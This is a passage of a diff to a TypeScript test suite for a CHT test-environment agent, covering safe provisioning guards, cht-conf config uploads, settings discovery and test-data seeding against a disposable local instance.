+        await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        const gate = "CHT_TEST_ENV_PROJECT='my-proj' scripts/test-env-up.sh '/workspace/cht-core'";
+        expect(lines.some((line) => line.includes(gate))).to.equal(true);
+      });
+
+      it('should refuse a custom network, which the scripts and the override hardcode', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({ chtCorePath: '/workspace/cht-core', network: 'other-net' });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('hardcode cht-agent-net');
+        }
+      });
+
+      it('should reject if the environment never becomes ready', async () => {
+        fetchStub.resolves({ ok: false, status: 503 });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({
+            chtCorePath: '/workspace/cht-core',
+            readiness: { maxWaitMs: 30, initialDelayMs: 0, maxDelayMs: 0 },
+          });
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('did not become ready');
+        }
+      });
+
+      it('should validate input before polling', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        try {
+          await realAgent.provision({});
+          expect.fail('expected provision to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('requires either chtCorePath or version');
+        }
+      });
+
+      describe('disposable-target guard', () => {
+        it('should allow http for a local disposable instance', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'http://localhost:5988';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.url).to.equal('http://localhost:5988');
+        });
+
+        it('should refuse http for a non-local host (the admin password would travel in clear)', async () => {
+          process.env.CHT_URL = 'http://cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('https is required');
+          }
+          expect(fetchStub.called).to.equal(false);
+        });
+
+        it('should refuse a PUBLIC address behind the dashed-IP resolver', async () => {
+          // local-ip.medicmobile.org answers for ANY address, 203.0.113.5 included.
+          process.env.CHT_URL = 'https://203-0-113-5.local-ip.medicmobile.org';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('not a known disposable test instance');
+          }
+          expect(fetchStub.called).to.equal(false);
+        });
+
+        it('should fail provision when the credentials are wrong, naming the user, not on a later call', async () => {
+          fetchStub.callsFake(sessionAnswering(401, undefined));
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('could not verify the credentials for medic');
+            expect((error as Error).message).to.include('401');
+          }
+        });
+
+        it('should refuse credentials that authenticate but are not a CouchDB admin', async () => {
+          fetchStub.callsFake(sessionAnswering(200, { name: 'chw', roles: ['chw'] }));
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('not a CouchDB admin');
+          }
+          const sessionCall = fetchStub.getCalls().find((call) => String(call.args[0]).endsWith('/_session'));
+          expect(sessionCall?.args[0]).to.equal('https://nginx/_session');
+          expect(sessionCall?.args[1].headers.Authorization).to.equal(
+            `Basic ${Buffer.from('medic:password').toString('base64')}`
+          );
+        });
+
+        it('should default COUCHDB_USER and COUCHDB_PASSWORD independently, as the scripts do', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.COUCHDB_USER = 'ops';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.auth).to.deep.equal({ user: 'ops', password: 'password' });
+        });
+
+        it('should refuse an unknown host without an explicit opt-in', async () => {
+          process.env.CHT_URL = 'https://staging.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('not a known disposable test instance');
+          }
+          expect(fetchStub.called).to.equal(false);
+        });
+
+        it('should refuse the built-in default credentials even against an opted-in external host', async () => {
+          process.env.CHT_URL = 'https://staging.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('refusing the built-in default credentials');
+          }
+        });
+
+        it('should accept a private dashed-IP host behind the cht-docker-helper resolver', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://192-168-1-10.local-ip.medicmobile.org';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.url).to.equal('https://192-168-1-10.local-ip.medicmobile.org');
+        });
+
+        it('should not treat a bare userinfo with no password as supplied credentials', async () => {
+          process.env.CHT_URL = 'https://medic@staging.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          try {
+            await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
+            expect.fail('expected provision to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('refusing the built-in default credentials');
+          }
+        });
+
+        it('should honor the CHT_TEST_ENV_ALLOW_EXTERNAL opt-in once credentials are supplied', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://staging.example';
+          process.env.CHT_TEST_ENV_ALLOW_EXTERNAL = '1';
+          process.env.COUCHDB_PASSWORD = 'realpass';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.url).to.equal('https://staging.example');
+        });
+      });
+
+      describe('CHT_URL fallback', () => {
+        // Env save/clear/restore is handled by the enclosing describe.
+
+        it('should fall back to process.env.CHT_URL when no url option is given', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({
+            chtCorePath: '/workspace/cht-core',
+            allowExternalTarget: true,
+            auth: { user: 'ops', password: 'opspass' },
+          });
+
+          expect(handle.url).to.equal('https://cht.example');
+          expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
+        });
+
+        it('should prefer an explicit url option over CHT_URL', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({
+            chtCorePath: '/workspace/cht-core',
+            url: 'https://explicit.example',
+            allowExternalTarget: true,
+            auth: { user: 'ops', password: 'opspass' },
+          });
+
+          expect(handle.url).to.equal('https://explicit.example');
+        });
+
+        it('should ignore a blank CHT_URL and use the on-network default', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = '   ';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.url).to.equal('https://nginx');
+        });
+
+        it('should canonicalize a trailing slash so appended paths and tracking keys stay stable', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://cht.example/';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({
+            chtCorePath: '/workspace/cht-core',
+            allowExternalTarget: true,
+            auth: { user: 'ops', password: 'opspass' },
+          });
+
+          expect(handle.url).to.equal('https://cht.example');
+          expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
+        });
+
+        it('should strip embedded credentials out of the URL (logged + fetch()ed) into the auth fallback', async () => {
+          fetchStub.callsFake(healthyFetch);
+          // undici's fetch() rejects credentialed URLs, and handle.url is logged.
+          process.env.CHT_URL = 'https://ops:p%40ss@cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
+
+          expect(handle.url).to.equal('https://cht.example');
+          expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p@ss' });
+          expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
+        });
+
+        it('should tolerate a raw % in embedded credentials instead of crashing provision', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://ops:p%ss@cht.example';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core', allowExternalTarget: true });
+
+          expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p%ss' });
+          expect(handle.url).to.equal('https://cht.example');
+        });
+
+        it('should honor the COUCHDB_USER/COUCHDB_PASSWORD env seam (test-env-up.sh parity)', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.COUCHDB_USER = 'admin';
+          process.env.COUCHDB_PASSWORD = 'not-the-default';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({ chtCorePath: '/workspace/cht-core' });
+
+          expect(handle.auth).to.deep.equal({ user: 'admin', password: 'not-the-default' });
+        });
+
+        it('should prefer explicit auth over URL-embedded and env credentials', async () => {
+          fetchStub.callsFake(healthyFetch);
+          process.env.CHT_URL = 'https://ops:urlpass@cht.example';
+          process.env.COUCHDB_PASSWORD = 'envpass';
+          const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+          const handle = await realAgent.provision({
+            chtCorePath: '/workspace/cht-core',
+            auth: { user: 'explicit', password: 'explicitpass' },
+            allowExternalTarget: true,
+          });
+
+          expect(handle.auth).to.deep.equal({ user: 'explicit', password: 'explicitpass' });
+        });
+      });
+    });
   });
 
   describe('applyConfig', () => {
-    it('should resolve in mock mode with the default config path', async () => {
+    it('should default to config/default under the handle chtCorePath and run the four standard buckets', async () => {
       const handle = await provisionMock();
 
-      expect(await agent.applyConfig(handle)).to.equal(undefined);
+      const result = await agent.applyConfig(handle);
+
+      expect(result.configPath).to.equal('/workspace/cht-core/config/default');
+      expect(result.succeeded).to.equal(true);
+      expect(result.warnings).to.deep.equal([]);
+      expect(result.actions.map((action) => action.action)).to.deep.equal([
+        'app-settings',
+        'app-forms',
+        'contact-forms',
+        'resources',
+      ]);
     });
 
-    it('should resolve in mock mode with an explicit config path', async () => {
+    it('should accept a bare config path string (back-compat)', async () => {
       const handle = await provisionMock();
 
-      expect(await agent.applyConfig(handle, 'config/standard')).to.equal(undefined);
+      const result = await agent.applyConfig(handle, 'config/standard');
+
+      expect(result.configPath).to.equal('config/standard');
+      expect(result.actions).to.have.lengthOf(4);
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
+    it('should run only the selected actions when actions are narrowed', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, {
+        configPath: '/mnt/cht-conf-project',
+        actions: ['app-forms'],
+      });
+
+      expect(result.configPath).to.equal('/mnt/cht-conf-project');
+      expect(result.actions).to.have.lengthOf(1);
+      expect(result.actions[0].action).to.equal('app-forms');
+    });
+
+    it('should report the underlying cht-conf commands for each action', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: ['app-forms'] });
+
+      expect(result.actions[0].commands).to.deep.equal(['convert-app-forms', 'upload-app-forms']);
+    });
+
+    it('should report an uploaded status per action in mock mode', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: ['app-settings'] });
+
+      expect(result.actions[0].status).to.equal('uploaded');
+    });
+
+    it('should carry the targeted artifact onto the result when narrowed to one', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, {
+        actions: ['app-forms'],
+        artifact: 'pregnancy',
+      });
+
+      expect(result.artifact).to.equal('pregnancy');
+    });
+
+    it('should omit the artifact field when no single artifact is targeted', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: ['app-forms'] });
+
+      expect(result.artifact).to.be.undefined;
+    });
+
+    it('should return an empty action list when actions is an empty array', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: [] });
+
+      expect(result.actions).to.deep.equal([]);
+      expect(result.succeeded).to.equal(true);
+    });
+
+    it('should return an isolated copy (mutation does not leak to later calls)', async () => {
+      const handle = await provisionMock();
+
+      const first = await agent.applyConfig(handle, { actions: ['app-forms'] });
+      first.actions[0].commands.push('tampered');
+      first.actions[0].warnings.push('tampered');
+
+      const second = await agent.applyConfig(handle, { actions: ['app-forms'] });
+      expect(second.actions[0].commands).to.deep.equal(['convert-app-forms', 'upload-app-forms']);
+      expect(second.actions[0].warnings).to.deep.equal([]);
+    });
+
+    describe('real mode (useMockDocker: false)', () => {
+      let runBucketStub: sinon.SinonStub;
+      const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
         source: 'docker',
       };
+      const uploaded = (action: ConfigUploadAction): ConfigActionResult => ({
+        action,
+        status: 'uploaded',
+        commands: [],
+        warnings: [],
+      });
 
-      try {
-        await realAgent.applyConfig(handle);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      beforeEach(() => {
+        runBucketStub = sinon
+          .stub(chtConfRunner, 'runBucket')
+          .callsFake((opts) => Promise.resolve(uploaded(opts.action)));
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('should run cht-conf per action against the instance and aggregate success', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, { actions: ['app-settings', 'app-forms'] });
+
+        expect(runBucketStub.callCount).to.equal(2);
+        expect(result.succeeded).to.equal(true);
+        expect(result.actions.map((a) => a.action)).to.deep.equal(['app-settings', 'app-forms']);
+      });
+
+      it('should pass the credentialed instance URL and configPath to the runner', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, { configPath: '/mnt/conf', actions: ['app-forms'] });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.instanceUrl).to.equal('https://medic:password@nginx/');
+        expect(passed.configPath).to.equal('/mnt/conf');
+        expect(passed.action).to.equal('app-forms');
+      });
+
+      it('should thread the targeted artifact through to the runner', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, { actions: ['app-forms'], artifact: 'pregnancy' });
+
+        expect(runBucketStub.firstCall.args[0].artifact).to.equal('pregnancy');
+      });
+
+      it('should resolve the default config/default against the handle chtCorePath, pinning the cwd', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+        const handleWithCore = { ...dockerHandle, chtCorePath: '/workspace/cht-core' };
+
+        await realAgent.applyConfig(handleWithCore, { actions: ['app-settings'] });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.configPath).to.equal('/workspace/cht-core/config/default');
+        expect(passed.cwd).to.equal('/workspace/cht-core/config/default');
+      });
+
+      it('should leave the cwd unset for a relative configPath (no chtCorePath to resolve against)', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, { actions: ['app-settings'] });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.configPath).to.equal('config/default');
+        expect(passed.cwd).to.be.undefined;
+      });
+
+      it('should thread bin and timeoutMs through to the runner (deployment-pinned cht-conf, long form sets)', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, {
+          configPath: '/mnt/conf',
+          actions: ['app-forms'],
+          bin: '/mnt/conf/node_modules/.bin/cht',
+          timeoutMs: 600_000,
+        });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.bin).to.equal('/mnt/conf/node_modules/.bin/cht');
+        expect(passed.timeoutMs).to.equal(600_000);
+        expect(passed.cwd).to.equal('/mnt/conf');
+      });
+
+      it('should fail an artifact-targeted apply when no form bucket contains that artifact', async () => {
+        runBucketStub.restore();
+        runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) =>
+          Promise.resolve({
+            action: opts.action,
+            status: 'skipped' as const,
+            commands: [],
+            warnings: [],
+            matchedNothing: true,
+          })
+        );
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, {
+          actions: ['app-forms', 'contact-forms'],
+          artifact: 'pregnency',
+        });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('no configured form bucket contains an artifact');
+      });
+
+      it('should succeed when one form bucket has the artifact and the other legitimately misses', async () => {
+        runBucketStub.restore();
+        runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
+          const missed = opts.action === 'contact-forms';
+          return Promise.resolve({
+            action: opts.action,
+            status: missed ? ('skipped' as const) : ('uploaded' as const),
+            commands: [],
+            warnings: [],
+            matchedNothing: missed,
+          });
+        });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, { artifact: 'pregnancy' });
+
+        expect(result.succeeded).to.equal(true);
+      });
+
+      it('should report succeeded:false when a bucket fails, without aborting the rest', async () => {
+        runBucketStub.restore();
+        runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
+          const status = opts.action === 'app-forms' ? 'failed' : 'uploaded';
+          return Promise.resolve({ action: opts.action, status, commands: [], warnings: [] });
+        });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, {
+          actions: ['app-settings', 'app-forms', 'resources'],
+        });
+
+        expect(runBucketStub.callCount).to.equal(3);
+        expect(result.succeeded).to.equal(false);
+        expect(result.actions.map((a) => a.status)).to.deep.equal(['uploaded', 'failed', 'uploaded']);
+      });
     });
   });
 
@@ -150,21 +820,123 @@ describe('TestEnvironmentAgent', () => {
       expect(second.contactTypes).to.have.lengthOf(4);
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
+    it('should carry mock form versions for the apply -> verify loop', async () => {
+      const handle = await provisionMock();
+
+      const config = await agent.discoverConfig(handle);
+
+      expect(Object.keys(config.formVersions ?? {})).to.have.members(config.forms);
+    });
+
+    describe('real mode (useMockDocker: false)', () => {
+      let realAgent: TestEnvironmentAgent;
+      const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
         source: 'docker',
       };
 
-      try {
-        await realAgent.discoverConfig(handle);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      // Raw /api/v1/settings shape (extra fields included to prove they are dropped)
+      const rawSettings = {
+        contact_types: [
+          { id: 'clinic', parents: ['health_center'], icon: 'medic-clinic' },
+          { id: 'person', parents: ['clinic'], person: true },
+          { name: 'no-id-entry' },
+          'not-an-object',
+        ],
+        roles: {
+          chw: { name: 'CHW', offline: true, superfluous: 'x' },
+          broken: 'not-an-object',
+        },
+        permissions: {
+          can_edit: ['chw', 42, 'supervisor'],
+          not_a_list: true,
+        },
+        transitions: {
+          update_clinics: true,
+          death_reporting: { disable: true, extra: 'y' },
+          odd_value: 7,
+        },
+        locale: 'en',
+      };
+      const rawFormRevs = [
+        { id: 'form:delivery', rev: '1-def' },
+        { id: 'form:pregnancy', rev: '3-abc' },
+      ];
+
+      let settingsStub: sinon.SinonStub;
+      let formRevsStub: sinon.SinonStub;
+
+      beforeEach(() => {
+        realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+        settingsStub = sinon.stub(chtApi, 'fetchSettings').resolves(rawSettings);
+        formRevsStub = sinon.stub(chtApi, 'fetchFormRevs').resolves(rawFormRevs);
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('should fetch settings and form revs with the handle url and auth', async () => {
+        await realAgent.discoverConfig(dockerHandle);
+
+        expect(settingsStub.calledOnceWith('https://nginx', dockerHandle.auth)).to.equal(true);
+        expect(formRevsStub.calledOnceWith('https://nginx', dockerHandle.auth)).to.equal(true);
+      });
+
+      it('should parse contact types, keeping only id/parents/person and dropping junk entries', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.contactTypes).to.deep.equal([
+          { id: 'clinic', parents: ['health_center'] },
+          { id: 'person', parents: ['clinic'], person: true },
+        ]);
+      });
+
+      it('should parse roles and permissions, dropping malformed entries', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.roles).to.deep.equal({ chw: { name: 'CHW', offline: true } });
+        expect(config.permissions).to.deep.equal({ can_edit: ['chw', 'supervisor'] });
+      });
+
+      it('should normalize transitions to booleans or {disable} objects', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.transitions).to.deep.equal({
+          update_clinics: true,
+          death_reporting: { disable: true },
+        });
+      });
+
+      it('should list installed forms with their revs as the verification hashes', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.forms).to.deep.equal(['delivery', 'pregnancy']);
+        expect(config.formVersions).to.deep.equal({ delivery: '1-def', pregnancy: '3-abc' });
+      });
+
+      it('should propagate a settings fetch failure', async () => {
+        settingsStub.rejects(new Error('CHT request failed: GET /api/v1/settings -> HTTP 503'));
+
+        try {
+          await realAgent.discoverConfig(dockerHandle);
+          expect.fail('expected discoverConfig to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('HTTP 503');
+        }
+      });
+
+      it('should keep contactTypes empty but warn when the instance defines none (built-in default hierarchy)', async () => {
+        settingsStub.resolves({ roles: {} });
+        const warnSpy = sinon.spy(console, 'warn');
+
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.contactTypes).to.deep.equal([]);
+        expect(warnSpy.args.flat().join(' ')).to.include('no contact_types');
+      });
     });
   });
 
@@ -202,21 +974,247 @@ describe('TestEnvironmentAgent', () => {
       expect(second.placesCreated).to.equal(3);
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
+    it('should report success and the seeded doc ids in mock mode', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.prepareTestData(handle, sampleConfig);
+
+      expect(result.succeeded).to.equal(true);
+      // One doc per mock place/person/report (users are accounts, not docs).
+      expect(result.seededDocIds).to.have.lengthOf(
+        result.placesCreated + result.peopleCreated + result.reportsCreated
+      );
+    });
+
+    describe('real mode (useMockDocker: false)', () => {
+      const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
         source: 'docker',
       };
+      const dataPath = '/mnt/test-data';
+      const ansiInfo = (message: string): string => `\x1b[32mINFO ${message} \x1b[0m`;
+      const okRun = (output: string): ChtConfExecResult => ({ exitCode: 0, output, timedOut: false });
+      // 2 places (one via contact_type), 1 person, 1 report, 1 user doc
+      const seededDocs: testData.SeededDoc[] = [
+        { id: 'place-1', type: 'clinic' },
+        { id: 'place-2', type: 'contact', contactType: 'clinic' },
+        { id: 'person-1', type: 'person' },
+        { id: 'report-1', type: 'data_record' },
+        { id: 'user-doc-1', type: 'user' },
+      ];
 
-      try {
-        await realAgent.prepareTestData(handle, sampleConfig);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      let realAgent: TestEnvironmentAgent;
+      let runChtConfStub: sinon.SinonStub;
+      let readSeededDocsStub: sinon.SinonStub;
+      let hasUsersCsvStub: sinon.SinonStub;
+      let hasCsvInputStub: sinon.SinonStub;
+      let findForeignStub: sinon.SinonStub;
+      let removeOwnedStub: sinon.SinonStub;
+      let recordOwnedStub: sinon.SinonStub;
+      // cht-conf output per verb; a seed makes up to three separate calls.
+      let runs: Record<string, ChtConfExecResult>;
+      const verbsRun = (): string[] => runChtConfStub.getCalls().map((call) => call.args[0].verbs[0]);
+
+      beforeEach(() => {
+        realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+        runs = {
+          'csv-to-docs': okRun(ansiInfo('Processing 5 rows')),
+          'upload-docs': okRun(ansiInfo('Summary: 5 of 5 docs uploaded OK.')),
+          'create-users': okRun(ansiInfo('Creating user alice')),
+        };
+        runChtConfStub = sinon.stub(chtConfRunner, 'runChtConf').callsFake(async (opts) => runs[opts.verbs[0]]);
+        readSeededDocsStub = sinon.stub(testData, 'readSeededDocs').returns(seededDocs);
+        hasUsersCsvStub = sinon.stub(testData, 'hasUsersCsv').returns(true);
+        hasCsvInputStub = sinon.stub(testData, 'hasCsvInput').returns(true);
+        findForeignStub = sinon.stub(testData, 'findForeignDocFiles').returns([]);
+        removeOwnedStub = sinon.stub(testData, 'removeOwnedDocFiles').returns(0);
+        recordOwnedStub = sinon.stub(testData, 'recordOwnedDocFiles');
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('should require a dataPath', async () => {
+        try {
+          await realAgent.prepareTestData(dockerHandle, sampleConfig, {});
+          expect.fail('expected prepareTestData to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('dataPath');
+        }
+      });
+
+      it('should run csv-to-docs, upload-docs and create-users as separate cht-conf calls', async () => {
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(verbsRun()).to.deep.equal(['csv-to-docs', 'upload-docs', 'create-users']);
+        const uploadCall = runChtConfStub.secondCall.args[0];
+        expect(uploadCall.instanceUrl).to.equal('https://medic:password@nginx/');
+        expect(uploadCall.configPath).to.equal(dataPath);
+        expect(uploadCall.cwd).to.equal(dataPath);
+      });
+
+      it('should pass an absolute path to cht-conf when given a relative dataPath', async () => {
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath: 'relative/data' });
+
+        const call = runChtConfStub.firstCall.args[0];
+        expect(call.configPath).to.equal(resolve('relative/data'));
+        expect(call.cwd).to.equal(resolve('relative/data'));
+      });
+
+      it('should clear the files a previous run generated before converting', async () => {
+        removeOwnedStub.returns(3);
+
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(removeOwnedStub.calledOnceWith(dataPath)).to.equal(true);
+        expect(removeOwnedStub.calledBefore(runChtConfStub)).to.equal(true);
+      });
+
+      it('should refuse json_docs files it did not generate, naming them, before touching anything', async () => {
+        // json_docs is also cht-conf's hand-authored upload-docs input directory.
+        findForeignStub.returns(['hand-authored.doc.json']);
+
+        try {
+          await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+          expect.fail('expected prepareTestData to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('did not generate');
+          expect((error as Error).message).to.include('hand-authored.doc.json');
+        }
+        expect(removeOwnedStub.called).to.equal(false);
+        expect(runChtConfStub.called).to.equal(false);
+      });
+
+      it('should upload a hand-authored json_docs untouched when there is no csv input', async () => {
+        hasCsvInputStub.returns(false);
+
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(findForeignStub.called).to.equal(false);
+        expect(removeOwnedStub.called).to.equal(false);
+        expect(recordOwnedStub.called).to.equal(false);
+        expect(verbsRun()).to.deep.equal(['upload-docs', 'create-users']);
+      });
+
+      it('should record what csv-to-docs generated as this layer\'s own', async () => {
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(recordOwnedStub.calledOnceWith(dataPath)).to.equal(true);
+        expect(recordOwnedStub.firstCall.calledAfter(runChtConfStub.firstCall)).to.equal(true);
+      });
+
+      it('should record partial csv-to-docs output too, and not upload, when conversion fails', async () => {
+        runs['csv-to-docs'] = { exitCode: 1, output: '\x1b[31mERROR bad row 3 \x1b[0m', timedOut: false };
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(recordOwnedStub.calledOnce).to.equal(true);
+        expect(verbsRun()).to.not.include('upload-docs');
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('ERROR bad row 3');
+      });
+
+      it('should refuse protected config ids BEFORE upload-docs can write them', async () => {
+        readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }, { id: 'settings', type: 'clinic' }]);
+
+        try {
+          await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+          expect.fail('expected prepareTestData to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('contains protected config doc(s) settings');
+        }
+        expect(verbsRun()).to.deep.equal(['csv-to-docs']);
+      });
+
+      it('should classify the seeded docs against the discovered config', async () => {
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(readSeededDocsStub.calledOnceWith(dataPath)).to.equal(true);
